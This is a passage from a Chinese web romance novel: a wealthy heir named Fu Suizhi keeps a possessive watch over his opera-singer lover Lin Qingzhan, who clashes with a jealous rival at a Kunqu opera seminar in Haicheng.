她站起身,对何青素笑了笑,“都说冷暖自知,你觉得好那就是好的。” 说罢,她不再停留,转身走进更衣室换下长袖戏服。 林青盏再出来时,何青素已经不见了。 她收拾好自己的东西,走出望月台。 车就等候在门口,她上车往海棠湾而去。 她回来不过五点半,傅随之还没下班,她跟傅小灵说了一声,上楼去卧室收拾东西。 想着不过是去三天两夜,林青盏带上换洗衣物,其他的倒是不用带太多- 因为那夜荒唐后,傅随之心底对林青盏是有愧的,这段时间都尽量早下班回海棠湾陪着她。 这天原本也想尽早,没想午后棠家那边来了个电话,说是棠老爷子最近身体不太好,念着傅随之,他没敢推辞,赶着去了趟棠家。 浮城有五大家族,唐家、傅家、徐家、顾家和纪家,都是本地大家族,在浮城有几百年历史。 很早之前,因为家族太过壮大,慢慢的,由着旁支衍生出去了五大旁支家族,棠家、符家、许家、谷家和季家。 棠家虽依附于主家唐氏,但自身家族事业发展不错,也算是近年来不容小视的家族。 棠老爷子有两个儿子和一对双生女儿,傅随之的母亲是双生儿中的大女儿棠傛,早年亡故,小女儿 棠倩远嫁南城,十几年前因为意外坠楼身亡。 棠老爷子和棠老夫人膝下只剩下两个儿子棠疏林和棠闻溪,都还算上进,尚且能稳得住。 到了后辈就不是如此,大儿子棠疏林膝下的棠曜算得上聪慧,但对于商圈的事情学着吃力,后来还是走了仕途,算得上浮城的某位人物。 至于二儿子棠闻溪生的那个儿子棠景,整天不学无术,还专想着不劳而获,傅随之看一次就想打他一次,后来棠景看到他都绕着走。 棠闻溪实在没办法了,只能求到唐郁东那边,让唐郁东将棠景留在身边学习,好在唐郁东念着家族情谊,倒是没拒绝。 终归来说,棠家这一辈就两个孙子,没一个能撑得起棠家的,棠老爷子一直有心想让傅随之这个外孙将棠氏也接过去。 但傅随之没答应。 他手里揣着傅氏集团,就有人整天盯着他,想从他嘴里挖出肉,如果棠氏也被他收入囊中,反而会被人盯上,利益也无法达到最大化,没有必要。 这次棠老爷子犯病在床上躺了好几天,必然是又想起这件事了,就想把傅随之叫过来说道说道。 傅随之从小没有父母,是在傅老爷子和棠老爷子栽培下长大,傅老头对他极为严苛,甚至可以说傅随之成了现在这副冷漠傲然的无情模样,都是傅老头的功劳。 相比傅怀锦的严格,棠老爷子则慈祥许多。傅随之能感受到的温情和庇护,都是棠老爷子给他的,才不至于让他当真成了没有感情的机器。 他对外行事风格极具雷霆手段,但其实骨子里是个极重亲情的人,特别是对棠老爷子,是格外的珍重。 听到棠老爷子生病,一刻都未耽搁,立马前来。 他一袭黑色西服和衬衫,面无表情走进棠家,门口守着的保镖点头叫了声:“三爷”,就将人往棠老爷子院里请过去。 进了屋里,看到他大舅二舅都在里面,表哥棠曜也在,正端着茶水给棠老爷子漱口。 棠曜对他点了点头,让他坐到床边去,自己端着茶水出去倒了。 棠老爷子看到傅随之,满是褶皱的手掌往下压了压,“坐会儿,我看你是忙得很,要不是我让人打电话过去,你都不见得抽空过来。” 傅随之挨着床沿坐下,“这段时间手里项目多,忙得抽不开身。” “我知道你忙。忙终归是要的,手里那么大一个集团,但你总要吃饭的吧,过来陪姥爷吃顿饭的时间都没有了?” 傅随之不狡辩,诚心认错,“这几天我都抽空过来,陪着你吃饭。” “这才差不多。” 这段时间天气热,棠老爷子就是中暑身体没什么大问题。 等着棠疏林和棠闻溪跟傅随之闲聊了几句,就将人往门外赶,说是要跟傅随之聊一聊,不用他们伺候了,棠疏林和棠闻溪没敢忤逆,转身退出去。 傅随之转身看了看,“姥姥呢,怎么没见到人?” “我这不是生病了嘛,就让棠曜给扶去隔壁休息,免得叫我给传染了。” 棠明远靠在床头,身上盖着薄薄一层被子,面色看着还行,讲话也利索。 “前两日,我跟你们家那傅老头见着了,他搁我这说你呢。” 傅随之抬眸看他,心下明了他想说什么。 当初傅鸿源送来消息说林青盏可能是傅于然后,他就将人往傅府带去,傅怀锦早让人过来说了要见林青盏,叫傅随之给压下来了。 一来他想着亲子鉴定还没出来,那时候见面不太妥当,二来他对林青盏是他妹妹这件事不抱希望,想着别搞出乌龙,白白让林青盏去老爷子面前受了训斥。 后来知道林青盏不是他妹妹,他就干脆将人往海棠湾带去,愣是没让傅怀锦逮住人。 但他金屋藏娇的事情,傅怀锦必然是知道的。 按照傅怀锦的个性,不可能闷不吭声的。 棠老爷子望着面无表情的傅随之,笑容可掬,“那老头子想什么,恐怕你比我清楚。这些年,他一直在为你物色联姻对象,原本是想着秦家不错,只是秦家是贵族之后,有意跟大唐家联姻,那老头子不得不作罢。” 棠老爷子咳了两声,“港城那边的靳家,他自然也是很满意的,只是靳家二小姐好似有心上人,而且他对靳家满意,靳家那边不见得愿意将女儿远嫁。最后他只能将目光又放回浮城。” 浮城家族众多,各自都有自己的脉络干系,五大家族中只有唐家二小姐年纪相仿,其他几个家族的女性不是年纪太小,就是不得权的。 剩下其他家族,也就是许家的许如月和沈家的沈钰铭还算可以。 “你们家那老头子精明得很,沈家是你奶奶母家,他想着有这层干系,沈家不会轻易生了二心,所以就想撮合你和沈钰铭。” 傅随之冷笑,“他倒是自信。生不生二心的,跟她是不是姓沈没关系。” 更何况,老夫人沈家蓉对傅怀锦是不是绝对的忠心都难说,傅怀锦自己拎不清,还想往傅随之身边送个眼线过来。 可笑。 棠明远听出傅随之话里的嘲讽,浑浊眼神像是清明了些许。 不然怎么说傅随之是他最喜欢的晚辈,这人不只是能心狠手辣,最重要的是心里门清,所有的事情在他心中只有一个掌控度,他看事情就是比别人通透。 “按我的意思,沈钰铭倒是不错。沈家这几年发展了些海外事业,家族根基稳扎稳打的。新的这一辈,就她和她大哥沈玉阑。沈玉阑手段高明,以后接手了沈家,指不定还能将沈家做得更强大。沈玉阑又极为疼爱这个妹妹,如果你真的和沈钰铭结婚了,以后就是如虎添翼。” 听言,傅随之并未觉得高兴,反倒是沉下脸,眼神都冷了几分。 棠明远一下子就笑出声,“你瞧瞧,我不过说了两句,你就上脸了。看来外头传闻不假。” 傅随之知道他今天把人叫过来,就是来探听的,也不拐弯抹角,直接问道:“您老听到了什么传闻?” 棠明远往后一靠,整个人似有一股沉稳的气魄,“传闻不近女色的傅三爷最近变了性子,养了一只金丝雀在海棠湾,疼惜得很,为人保下望月台不说,还日日早归回去逗鸟。” 傅随之挑了挑眉,没有反驳。 棠明远算是看透了,“传闻当真?” “当真。” 棠明远又问:“你养这金丝雀是兴之所起玩玩?” 傅随之望着棠明远那双浑浊的眼眸,笃定道:“不是。” 一声“不是”,棠明远就明白了傅随之的心思。 傅随之长得很像傅清庭,骨子里都是重情的。 第33章 外人都说傅随之是浮城中“阴狠”的代名词,他从小没有父母依靠,是凭着自己一步步爬到傅家的高位,所以他性情阴冷,没有人情,做事从来不留灰色地带。 也说他对女人不感兴趣,不近女色,从来不会让情感干扰自己的行事。 棠明远深知不是如此。 因为父母早年被害,傅随之不轻易相信别人,对外人对敌人对背叛他的人都狠,唯独不会对身边的人持刀相向,反倒照顾得很周全。 棠明远相信傅随之不会轻易被感情左右,但说他是无情之人,倒是不至于。 他将傅随之的手掌抓过来拍了拍,“姥爷的意思是,结婚可以,自然得娶个你喜欢的。左右你都是傅家家主,还有整个棠家做支撑,不至于要用联姻来助力你的事业。” 傅随之看着他,神色柔和了几分。 “今天姥爷叫你过来不是要当说客,只是想嘱咐你一句,木强则折。你能走到今天这步,不容易,有些事不必要去硬碰硬。” 傅随之自然懂得他的意思,傅老爷子虽然退位下来,但 他这把年纪没点自己的本事是不可能的,他能让傅随之上位,自然也有办法将傅随之拉下来。 傅随之才上位,根基不稳,终归还是不要跟傅怀锦正面抗争得好。 只要等到傅随之根基稳固,那还不是傅随之说什么便是什么。 棠老爷子对傅随之特别看重,拉着他说了好一会儿话,傅随之又陪着他吃了顿晚饭,这才起身离开。 走出棠府时,天已经暗下来。 傅随之拉开车门上了车,例行公事问起林青盏的情况。 秦楠:“今天林小姐去了望月台,有一场表演,结束后就回了海棠湾没有去其他地方。就是中途和何青素在化妆室里待了半个小时,具体聊了什么,我们的人没能听到。” 傅随之挑眉。 何青素很早之前就和慕殇淙有苟且行为,这些林青盏不知道,傅随之却调查得一清二楚。 他知道那天订婚宴上,慕殇淙是通过何青素给林青盏传送消息。 那今天何青素和林青盏单独相处,难道是慕殇淙指使? 慕殇淙想让林青盏做什么? 林青盏还会帮慕殇淙? 这般想着,傅随之心底莫名烦躁。 回到海棠湾,傅随之豁然推开车门,疾步往里走去,看到客厅空荡荡没有一个人。 傅随之转身问傅小灵,“人呢?” 见傅随之神色不好,傅小灵心底疑惑,赶忙回答:“回来后就去房间——” 她话还没说完,傅随之迈步往二楼走去。 傅小灵疑惑看向跟着一同进来的秦楠和傅慎,“爷脸色这么差,怎么回事啊?” 傅慎摇了摇头,拉着她的手腕往外走。 傅随之上了二楼,站在卧室门口,没听到里面有动静,迟疑三秒,推开门走了进去。 卧室里没看到人,反倒是听到衣帽间隐约传来脚步声。 他修长手指勾着黑色领带,随意扯下来,丢在床尾沙发上,转身朝着衣帽间走去。 推开门,就看到林青盏坐在木地板上,面前是敞开着的行李箱,她正将衣服一件件往里面放,几乎都是她平时常穿常用的。 傅随之第一念头是,她想逃? 他在门口站了两分钟,里面收拾东西的女人边折衣服边垂眸望着地上的手机,神色极为认真,也不知道在看什么。 他心底的火苗瞬间犹如火山爆发,喷射出熊熊烈火,大长腿迈步走进去,在她面前站定。 是在看到有黑影压下来,林青盏才抬起头看过去,见傅随之冷着脸,她都已经习惯了,并未察觉出异常,柔声说:“你回来啦。” 傅随之眼神冰凉,“你做什么?” “收拾行李啊。” 刚刚兰青翎给林青盏发了份研讨会的流程,她还没看完,回答完低下头继续看手机。 傅随之以为她在闪躲,抓住她肩膀将人拉起来,逼迫她与他四目相对,“我是问你收拾行李要做什么?” 没料到傅随之会有这么大的反应,林青盏眨了眨浓密眼睫,声音有着丝丝颤抖,“海城那边有个戏曲研讨会,宴乐门和望月台都要去参加,师姐让我跟着一起去。” 傅随之松开她,口吻还是疑惑的,“研讨会?” “嗯。” 林青盏后知后觉傅随之可能是误会了。 难道他以为她收拾东西是想离开? 林青盏双手抵着他胸膛将人推开些,“我们有参与了戏曲协会,时不时会有这些活动,一般都是师兄师姐去参加,抽不出空就我顶上。我跟小灵说过了。” 想到傅小灵刚刚确实话没说完,傅随之怒意被压下来,神色越发冷。 他自己都没有察觉,他竟然为她如此心烦到暴怒,这种失去控制的感觉让傅随之更加不爽。 他看了眼林青盏,一言不发,转身就走。 林青盏站在原地,满脸疑惑。 这个男人到底怎么回事? 隔天,傅随之派了车送林青盏到望月台和兰青翎碰面,还让傅小灵跟着一起过去海城。 林青盏清楚傅随之的性情,没有拒绝,也知道自己拒绝不了。 傅小灵借口是喜欢戏曲,想跟着过去长长见识,兰青翎自然是答应的。 她们三人坐上傅随之安排的专车,往海城而去。 车上林青盏靠着兰青翎睡了一觉,再睁开眼看到车窗外烈阳高照,天气晴朗无比。 忽然的,她就想到傅随之昨晚那张阴沉可怖的脸庞。 两人在衣帽间不欢而散后,林青盏早早歇下,今天清晨醒来,看到身旁空荡荡的,傅随之明显是没回房间。 其实林青盏并不完全清楚傅随之生气的点是什么? 因为她要外出没有及时告知他,或者他压根不愿意让她离开浮城? 更甚,他觉得她是他关进牢笼的鸟,容不得她胡乱飞出他的掌心? 霸道! 林青盏始终认为,她跟傅随之之间就是金主和金丝雀的关系,她依附于他,利用他的权势得到她想要的,甚至于去追查她想追查的,她也付出代价,他想要占有她都可以。 但也仅此而已,她并未想过去探究傅随之心底所想。 这么想着,林青盏将傅随之的事情完全抛开,也不管他到底什么心思为什么生气,短暂地逃离浮城,到达海城后就全身心投入工作当中。 本次研讨会是由中国戏曲学会和地方协会联合举办的,主题是为探讨“现今戏曲文化的传播和市场开拓发展”的可能性,参加的人员有戏曲界的专家学者、艺术家以及地方推荐的优秀戏曲表演者。 望月台推荐过来的是兰青翎和林青盏,宴乐门过来的是团长女儿李若曦和另外一位小生安宇恒,他们之前在其他活动中都见过,也算是个熟人。 兰青翎带着林青盏去会场找到座位坐下。 林青盏看到李若曦朝她们这边看过来,自然点了点头算是打了招呼,没想李若曦冷冷看了她眼,连回应都没有,完全就拿她当做空气。 不只是林青盏,连兰青翎都觉得疑惑,凑在林青盏耳边,低声问:“你跟她有过节?” 林青盏摇了摇头表示不知。 兰青翎眼底更加疑惑,不过不清楚李若曦是怎么回事,也不好多问,只能置之不管。 研讨会开始。 戏曲界泰斗单老师上台演讲,主要讲述了当初他们那个年代,戏曲并不被看好,反而会被认为是低等的,但当时市场还算不错,现在时代不同,戏曲演变成一种文化,学习的人越来越少,反倒是需要学习得越精。 艺术家们都演讲完,开始进入各地方协会的讨论学习。 单老师提议,“也不用单纯议论,其实我们利用戏曲切磋,更能展示出我们想要表达的那种效果。” 学员们纷纷看向单老师。 身穿渐染白棕色长裙的单老师将目光移到林青盏身上,“之前在京都的活动上,我跟青盏见过,她的声音很美,而且她拿捏音腔得当。我们请青盏给我们演示下?” 之前京都的研讨会上,林青盏是因为配合阮青山演示了一段《牡丹亭》,没想到单老师还记得。 既然是长辈点名,林青盏自然不好推辞。 她缓慢站起身,还未来得及开口,身旁的李若曦出声,“单老师,既然是切磋,不如我也参加。我也想向各位同行学习下。” 单老师一脸慈祥,“好,那你们都上来吧。” 李若曦瞥了林青盏一眼,迈步走到舞台中央。 林青盏也不知为何,总感觉李若曦对她有着很浓的敌意,心底很是莫名其妙。 这个念想在后面也得到了印证。 李若曦提出,她想要先表演,单老师看了林青盏一眼,在林青盏点头后,答应:“好,那若曦先来吧。” 李若曦压根没管旁边林青盏的神色如何,往台上一站,捏着决就开了腔。 她唱的是《牡丹亭》选段《惊梦》,唱腔拿捏得 很是精准,婉转的腔调技能是绝佳的,唱完在场所有人都拍手鼓掌。 李若曦得意地看向林青盏。 这一曲《牡丹亭》所有昆曲学者都不陌生,大家听多了,技巧也都在,自然是先唱的,先入为主会给人很好的感官。 李若曦就是想着这样,争了个先表演的名额,瞬间就将所有人的目光都吸引过去,料想林青盏后面再如何都比不过她。 林青盏看透了她的想法,却没有半分惶恐。 她穿一袭米白色长裙,束腰款式,裙摆绣着盛开的海棠花,略带古韵,她又是一头乌黑长发,细眉桃花眼,红唇轻启,丝滑的声音便从唇齿间溢出。 “原来姹紫嫣红开遍,似这般都付与断井颓垣。良辰美景奈何天,便赏心乐事谁家院。朝飞暮卷,云霞翠轩,雨丝风片,烟波画船,锦屏人忒看的韶光贱。最撩人春色是今年,少甚么低就高来粉画垣。原来春心无处不飞悬。是睡荼蘼抓住裙衩线,恰便是花似人心向好处牵。”(注) 相比李若曦善用技巧的唱腔,林青盏的音腔反倒是有种浑然天成的缠绵悱恻,余音绕梁,百转千回。 两人的表演谁更能体现昆曲的婉转音腔,众人心底已然有了判断。 单老师确实喜欢林青盏的声音,但毕竟是互相切磋的场合,她没有挑明,只说:“两人的表演都很不错。若曦可以看得出来,唱腔功力深厚,青盏的声音则有种天赐的美感,果然是适合吃这碗饭的。” 李若曦听言,恶狠狠看向林青盏。 无端被敌对了一天,林青盏即便是脾气再好,也不见得什么情绪都没有。 她坐在位置上,纤细腰肢挺直,犹如细柳般夺目,见李若曦看过来,毫无畏惧回望,目光里满是冰霜。 李若曦自觉无趣,转头看向其他地方。 这次活动第一天是研讨会演讲和学习,第二天恰逢七夕,海城古城街道会有七夕的活动,主办方安排了戏曲表演《长生殿小宴》。 研讨学习结束后,单老师过来指点学员们表演,指定林青盏演绎杨贵妃,安宇恒演绎唐明皇。 李若曦对此颇有微词,但是单老师钦点,她也不敢说什么。 林青盏乖顺坐在红色绒布椅子上,等着兰青翎将台词打印好拿过,快速过了一遍。 兰青翎长相不似林青盏那般柔美,是偏大气沉稳的面容,平日里也极有师姐的担当,今天见李若曦各种明里暗里针对林青盏,气性也有些上来了。 她低声问林青盏:“你跟李若曦之前认识吗?确定没什么过节?” 林青盏抬起纯真的眼眸,思考了片刻,“就是之前在研讨会上见过几次,感觉以前说话还挺正常的。” 也不知道今天到底是怎么了。 兰青翎沉思片刻,“傅三爷的母亲是宴乐门团长的师妹吧?听闻以往傅三爷还给宴乐门投资过,早年宴乐门生意比较不好,李昭华还被□□的人盯上,都是傅三爷出面摆平的。难道李若曦这样针对你,是因为傅三爷?” 这些事情,林青盏倒是不清楚,也不好多说,只能摇了摇头。 “都在同个圈子里,终归是会碰上的,也躲不开。不管如何,你小心点就是了。” “好。” 与李若曦的针对不同,安宇恒倒是个很好说话的人。 他听从单老师指点,研究了下剧本,想说既然是在非正式的场合,还是七夕这种欢乐的节日,不如改变下表演方式,尽量外放些许,也会比较有感染力。 只不过这种表演方式,跟以往昆曲的柔美婉转略有不同。 安宇恒担心林青盏会不适应,过来询问她是否可以。 林青盏听言,眉眼弯弯笑了,“好啊。我也想试一试。只不过这样可以吗,我们要不要问一下主办方?” 安宇恒之前和林青盏接触过几次,只觉得她很是温柔,这会儿见她笑起来神色极为灵动,心底豁然心动了下,像是花朵绽放的那一瞬间,有种很美丽的感觉。 他顿了顿,才笑着回答:“我刚刚已经去询问过了,他们的意思是,我们可以尽情地用我们的方式演绎。这次研讨会本来就是互相学习,或许我们这么表演会有不一样的启发呢。” 林青盏笑得甜美,“好啊,那我们就试试吧。” “嗯!” 安宇恒长相俊美,说话腔调缓慢柔和,跟林青盏是完全合拍的性子,两人面对面坐着对了下台词,很快就全部背下来。 等到单老师过来后,他们就现场过了一遍,没想到单老师表示很满意。 虽然如此,他们没敢松懈,又全部过了两遍才敢休息。 排练的地方就在研讨会场地旁边的一个小宴会厅里,地上铺着红色的地毯,红木长桌搭配红艳椅子,是非常喜庆的地方。 兰青翎拿了几瓶饮料过来,等他们休息的时候递过去。 她随口问了安宇恒一些宴乐门的情况,安宇恒倒是知无不言,或许是说得太多了,连旁边的李若曦都听不下去,冷脸调侃:“平时怎么没见你话这么多?” 安宇恒转头看向李若曦,神色平静,只是眼中有着疑惑。 他总觉得这两天的师姐怪怪的,好像特别刻薄。 李若曦瘪嘴,“我记得你跟她见面不超过五次吧,已经这么熟了么?” 安宇恒不好回答。 林青盏也懒得理会,对安宇恒说道:“我们刚刚过了那几遍都还算完整,明天应该没问题的。” 安宇恒回眸对上那她明亮桃花眼,也跟着笑了,“我也觉得没问题。” 林青盏讨论着表演的事情,都没有理会李若曦,李若曦气极了,怒瞪着林青盏,连带着给了安宇恒一个白眼。 排练结束,安宇恒望着收拾东西的林青盏,犹豫片刻才开口,“听说主办方这次联合举办的七夕活动很盛大,整个古城布置得很好看,你们晚上要不要去逛一逛?” 林青盏将东西都收进包里,没注意到他是对她说的话,是旁边的兰青翎站出来回答。 “我之前来过海城几次,都没有去过古城,是想去看一看。小盏,你和小灵呢,要不要去看看?” 林青盏:“我都行。师姐想去,我们就去逛逛。” 安宇恒脸上有着欣喜之色,“要不我们一起去吧,我们有车。” 旁边有其他参与的学员听到,过来商量着要不要一起去古城逛一逛。 安宇恒不好落下李若曦,转身问她:“师姐,一起去吧?” 李若曦冷眼看着安宇恒,阴阳怪气,“你当就你有车啊?”? 安宇恒顿住。 “你没看到望月台过来也是专车接送的。”李若曦转身看着林青盏她们,“我记得那可是豪车,配置不低吧。没想到望月台这么有钱,出趟门能配得起这样的豪车?还是说那豪车不是你们的?” 林青盏停下动作,转身看向李若曦,被针对一整天的那股气再也不想压着。 “是不是豪车跟李小姐没什么关系。难道李小姐是羡慕?” 李若曦没料到林青盏看着温柔,说话倒是一点不含糊。 她在宴乐门众人宠,养成了大小姐脾气,这会儿娇纵性子都出来了。 “羡慕?羡慕什么,羡慕林小姐跟了傅三爷,成了他的笼中雀?” 兰青翎紧张看向林青盏。 林青盏跟了傅随之这件事,浮城豪门圈恐怕无人不知。 众人也知道林青盏原来是慕殇淙的人,是慕殇淙将她送给了傅随之。 即便现在 时代不同,戏曲已经成了一门艺术,但在有些人眼中,林青盏就是一戏子,才会被一个男人送给另一个男人。 一个戏子和堂堂傅三爷,身份的不对等,让众人说起他们的时候,默认为就是金主养着一只金丝雀。 林青盏自己也是如此以为。 但别人用嘲讽的语气说起来,却是另一回事。 兰青翎有意维护林青盏,想上前阻止,倒是没想到林青盏往前一步,毫无畏惧迎上了李若曦的目光。 “今天李小姐尤其针对我,我还觉得很疑惑,我和李小姐之前不过几面之缘,我不记得有什么得罪之处。现在看来是因为三爷?” 李若曦抬眸看她,被她的沉稳震慑,又听到傅随之的名字,终归有些心虚。 林青盏莞尔一笑,“我记得,李团长是棠傛夫人的师姐,棠傛夫人去世这些年,三爷时常支援宴乐门,偶尔也去宴乐门走走。李小姐该不会是喜欢三爷?不然为何这么针对我?” 心事被人当众拆穿,李若曦脸色瞬间沉了下来,乌云密布。 林青盏声音听着轻柔,但态度并不弱。 “李小姐演过那么多场戏,不会不知道,历来都说有妇之夫不可念。所以,李小姐就算是再喜欢三爷,也请忍耐下吧。你总不至于上赶着当小三吧。” 今日参加研讨会的学员几乎都在,听到这边的动静,都望了过来。 李若曦对上众人探究的目光,心底着实咽不下这口气。 她挺起胸膛,恶狠狠看向林青盏,“林小姐这口吻听着完全是正宫的气场,但你是吗?”—— 作者有话说:注解的内容是《牡丹亭》的台词。 第34章 林青盏抿唇看她。 “据我所知,傅家正在为三爷择良配要联姻,傅家是浮城五大家族,主母人选必然要门当户对,像是林小姐这种出生,敢肖想能进入傅家当主母?” 林青盏怒极反笑,“我什么身份?我跟你一样的工作。不知道李小姐这高傲的口吻和鄙视的态度,到底是故意要贬低我,还是连你自己都看不起你自己?” 李若曦怔住。 一袭长裙的林青盏姿态温柔典雅,像是画卷中走出的仙子。 她眉宇间带着怒意,往前迈步逼近李若曦,“傅家如何选择主母,不需要李小姐操这个闲心。我和三爷的关系如何,跟李小姐也没有关系。李小姐应当知道,出门在外,和气生财,李小姐还是收一收你的大小姐秉性。毕竟没有谁有必要让着你。” 说罢,林青盏拿起自己的东西,跟兰青翎说:“师姐,走吧。” 兰青翎走过来挽着她的手臂,与其他学员打了招呼,出门而去。 在一旁的傅小灵拿起手机,转身跟着走了。 上车后,她赶忙将视频发给傅随之。 「爷,林小姐在外面被人欺负了!!」 车厢里灰暗一片,只有窗外的霓虹灯投射进来缤纷的光。 林青盏坐在后座,神色不明。 兰青翎转身看她,“还好吗?” 林青盏笑了笑没说话。 兰青翎比林青盏年长几岁,林青盏刚来望月台时,就是兰青翎在照顾着她。 他们几个孤儿在台里一起生活,犹如亲姐妹一样,兰青翎最是了解林青盏,她长相柔和很有古典韵味,但性子执拗,完全不是随人欺负的软糯性子。 今天林青盏这样回击李若曦,兰青翎不意外。 李若曦蛮横无理,不过有句话说对了,傅家那样的大家族,自然是不可能让林青盏进门。 更何况傅随之的态度不明。 林青盏和傅随之这段关系,终究是不光彩的。 她现在仰仗的不过是傅随之的看中,若是有一天傅随之腻了,会干脆甩了她还好,就怕是第二个慕殇淙,又做出什么伤害林青盏的事情。 面对上流圈的这些大佬,林青盏哪里有反抗之力? 兰青翎替她忧愁,林青盏自己倒是很平静,权当刚刚的事情没有发生。 她拉着兰青翎去古城逛了一圈。 海城古街很有古韵,一整片古风建筑被保持得很好,入驻的商家开起店面,装扮也都是偏古风的。 主办方在古城空地上搭建了台子,四通八达连接着古巷,空地上还有很多摊位,不仅有美食,还有各种周边。 林青盏挽着兰青翎的手臂,一个个摊位看过去,找到昆曲周边的摊位,买了几个挂件和单老师的周边折扇,以及单老师年轻时候演绎的《牡丹亭》刻碟。 而后欢欢喜喜地回了酒店。 隔天早上还要彩排,林青盏洗漱完做了个简单护肤,和兰青翎闲聊了两句,两人便躺下休息了。 望月台里的人生活都极有规律,一般晚上表演结束就会收拾收拾睡下,久而久之,养成了林青盏早睡早起的习惯。 隔天七点,林青盏准时醒来,整理好后跟着兰青翎走出房间。 这次研讨会参会人员住宿是主办方统一安排的,基本上都在这两层。 李若曦因为也来自浮城,房间跟林青盏她们紧挨着,林青盏她们走出房间,跟李若曦碰了个正着。 林青盏权当没看见,从她身旁走过,气得李若曦翻了个白眼。 旁边几个房间里陆续有人走出来,都是参会的人,林青盏站在兰青翎身旁,跟她们一一打招呼,闲聊着一起坐电梯去二楼。 五星级酒店餐厅布置奢华宽阔,入门是璀璨的亮光镜,延伸出去一整片的自助餐区,绕过去便是餐桌,数目繁多,已经有不少用餐人员。 即便是如此复杂人多的地方,可林青盏还是第一眼就看到坐在靠窗位置的傅随之。 心底吓了一跳! 他穿一身黑色西服搭配黑色衬衫,没有领带,扣子解开了一粒,露出线条分明的脖颈和锁骨。 戴着银质手表的手臂自然搭在桌面,他修长手指正敲打着桌面,以及微蹙的眉宇都在昭示他的不悦。 他周身的高冷矜贵气息跟这喧闹的自助餐厅有着严重的违和感。 自助餐厅里人来人往,明显让他耐心耗尽,好似下一秒就会站起身离开。 但他偏偏没有。 林青盏望着他出神,是兰青翎轻声提醒,让她收回思绪。 “师姐,抱歉,我需要过去。” 兰青翎露出安抚的笑容,“我跟其他人吃一样的。待会我先走,有事给你微信。” “好。” 她们说话的时候,窗边坐着的男人有所察觉,目光落在林青盏身上。 林青盏没有迟疑,迈步走过去。 与此同时,傅随之站起身,在林青盏走到跟前时,修长手臂勾住她的细腰,无视在场所有人,将她往旁边的包厢里带去。 林青盏能感受到身后满是探究的目光,但她并不在意。 她抬眸望着他犀利的脸庞轮廓,感觉到搭在她腰间的手臂突然用了劲儿,掐得她有些疼,是咬住唇才忍住不发出声音。 包厢的门被关上,林青盏垂眸望着他的黑色衬衫,好像是认命般等着暴风雨的到来。 可是没有。 他松开她,在餐桌前落了座。 林青盏疑惑看向他,见他眉宇间的烦躁一扫而空,剩下的就是熟悉的冷漠。 她抿了抿唇,走到他旁边的位置坐下,一双明亮桃花眼望着他。 她在等他开口,可他并不,镜片下冷僻眼眸望着她,并不觉得如铅的沉默会为难到别人,或者傅随之就是刻意如此。 林青盏轻缓呼了口气,继续认命地主动:“三爷来海城出差吗?” “不是。” 她歪了歪头,纯净眼眸里透着疑惑,“那是——” 不是工作,那就是私事? 林青盏不确定自己能不能主动问及,他会不会觉得私人领域被干涉? 在她迟疑间,傅随之终于开了口,“养的笼中鸟跑了,我不得过来逮?” “……” 林青盏一时无言。 她以为她这种供消遣的,从来不足以让傅随之为她费神一点点,可她分明感觉到了傅随之的不悦。 是因为她那日没有及时向 他报告出差的事情,也或者她没有及时告知他的情绪,所以他很是生气? 桌面上摆放着林青盏的手机,此刻“叮铃”一声,她垂眸看到是兰青翎发来的消息,告诉她单老师已经开车去排练室,她们几个先过去了。 林青盏抬眸看向神色阴沉的男人,想要速战速决,别耽搁到后面的行程。 她纤细指尖避开那定制的宝石袖扣,拽住他袖口,不经意触碰到他的滚烫肌肤。 “我坐上来,可以吗?” 傅随之挑眉,不置可否。 林青盏站起身,缓缓坐在他腿上,身姿挺直,腰更显得纤细如柳。 傅随之目光扫过一眼,依旧没动。 她又壮着胆子环住他的脖子,抬眸对上他那浅棕色眼眸。 “这次来海城参加研讨会,真的是师姐临时通知我的。出了望月台,我就告诉小灵了。我以为你让她跟着我,她事事会禀报给你。” 傅随之冷笑,“倒是我安排不周,没下对命令?” “我不是这个意思。” 她身体往前倾,白皙手臂自然蹭着他的肩膀往上,某个地方也轻轻碾过,不小心将裙摆往上带了些许。 她没有看到,一味靠近他,“以后我会直接告诉你,可以吗?“ 傅随之冰冷眼神缓和些许,“坐回去,吃早餐。” 她眨了眨浓密眼睫,一双纯真无害的眼眸望着他,“我想坐这里吃。” 他不怒反笑,“那你让我怎么吃?” “我怎么知道?”林青盏手掌贴着他后颈,掌心蹭了蹭,“三哥想怎么吃怎么吃。” 他镜片下的眼眸不再冰冷,反倒是映着浅浅的光,望着她。 她坐在他腿上转了身,拿起旁边的一小截玉米,问他:“要吃吗?” 他冷呵。 她听得出来,他情绪明显转好,反倒是有些安闲自得。 她抿了抿唇,不自觉笑出声。 傅随之垂眸看着低头吃早餐的女人,“笑什么?” “三哥真小气。”她嘟哝一声,拿起旁边的三明治,“那这个吃吗?” 傅随之手掌往下握住她的腰,发了狠劲儿掐了掐,疼得林青盏倒吸一口气,身体往旁边躲,如桃尖的圆润碾过某个地方。 他阴冷的声音在头顶响起,“你说我想吃什么?” 危险信号再清晰不过。 林青盏不再得寸进尺,坐在傅随之腿上很快吃完早餐。 傅随之始终安静坐着,只喝了果汁,其他的一律没动,那双犀利眼眸落在她身上,上下打量。 林青盏如坐针毡,以为他真的会在包厢里吃了她。 好在傅随之还没那么丧心病狂。 吃完早餐,林青盏和傅随之上车前往会场,要去参加排练。 到了目的地,林青盏看向傅随之,原是想跟他打声招呼,毕竟她有工作在身,今天无法陪着他。 没想傅随之下了车,竟要跟着她往里面走,她抓住傅随之手臂,眼神似有求饶的意味。 “三哥不用忙工作吗?” “今天没事,陪你进去。” 是不容商榷的口吻。 傅随之手掌贴着她后背,眼神没有方才那般的浓郁欲.望,身上那股子清冷气息又涌了上来。 对他,林青盏从未违抗,只能随他搂着,走进排练室。 排练室有个小舞台,下面是观众席。 学员们都集中在前方,正在说话聊天,见林青盏带着人进来,停下望向他们。 傅随之在浮城名声响当当,无人不知,但这次来的学员来自五湖四海,不见得认识他,眼中都有着探究。 林青盏感觉不自在,纤细手指蜷了蜷,转身看他,眼底满是无辜。 傅随之镇定自若,“去吧,等你。” 这一声“等你”可谓是难得温柔,甚至有些缱绻,林青盏一时间懵了思绪,且众人瞩目下,她也不好再说。 “我差不多一个小时就能好。” 傅随之点了点头。 林青盏转身去找安宇恒他们,几个跟她聊得好的小姑娘压根不认识傅随之,只觉得这男人真的太帅了。 他穿一身黑色西服和黑色衬衫,最上面那粒扣子都紧扣着,脖颈线条更显得分明。 一双自己眼眸在镜片遮挡下,锐利和狠厉被隐藏了半分,他始终望着林青盏,目光显得有些柔情。 